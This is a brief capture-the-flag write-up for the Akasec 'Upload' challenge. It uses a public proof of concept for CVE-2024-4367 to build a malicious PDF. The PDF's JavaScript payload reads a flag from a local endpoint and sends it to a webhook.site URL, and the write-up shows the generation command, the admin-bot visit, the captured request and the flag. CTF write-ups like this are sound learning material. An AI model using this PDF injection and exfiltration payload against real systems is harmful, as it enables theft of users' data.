

Akasec

Upload

<https://github.com/LOURCOD3/CVE-2024-4367-PoC?tab=readme-ov-file>

```
console.log(fetch("http://127.0.0.1:5000/flag").then(response => response.text()).then(data => fetch("https://webhook.site/08281428-d996-4d65-ba7b-9d88f0a614f0?flag=" + data)));
```

```
(ika@kali) - [~/Documents/ctf/akasec/CVE-2024-4367-PoC]
$ python CVE-2024-4367.py 'console.log(fetch("http://127.0.0.1:5000/flag").then(response => response.text()).then(data => fetch("https://webhook.site/08281428-d996-4d65-ba7b-9d88f0a614f0?flag=" + data)));';
[+] Created malicious PDF file: poc.pdf
[+] Open the file with the vulnerable application to trigger the exploit.
```

Upload File

Choose File:

Choose File poc.pdf

Upload

Logout

Admin's Bot Page

Enter note URL:

`http://127.0.0.1:5000/view/file-1717794492480.pdf`

Visit Note

Admin successfully visited the URL.

Request Details

[Permalink](#) [Raw content](#) [Copy as](#) ▼

GET	<code>https://webhook.site/08281428-d996-4d65-ba7b-9d88f0a614f0?flag={%22flag%22:%22AKASEC{PDF_1s_4w3s...</code>		
Host	172.206.89.197	Whois	Shodan Netify Censys
Date	06/08/2024 4:08:39 AM (30 minutes ago)		
Size	0 bytes		
Time	0.000 sec		
ID	ce5162fd-51f5-4814-9d44-9b4fb61c9fad		

`https://webhook.site/08281428-d996-4d65-ba7b-9d88f0a614f0?flag={%22flag%22:%22AKASEC{PDF_1s_4w3s0m3_W1th_XSS_&&_Fr33_P4le5T1n3}%22}`

`AKASEC{PDF_1s_4w3s0m3_W1th_XSS_&&_Fr33_P4le5T1n3}`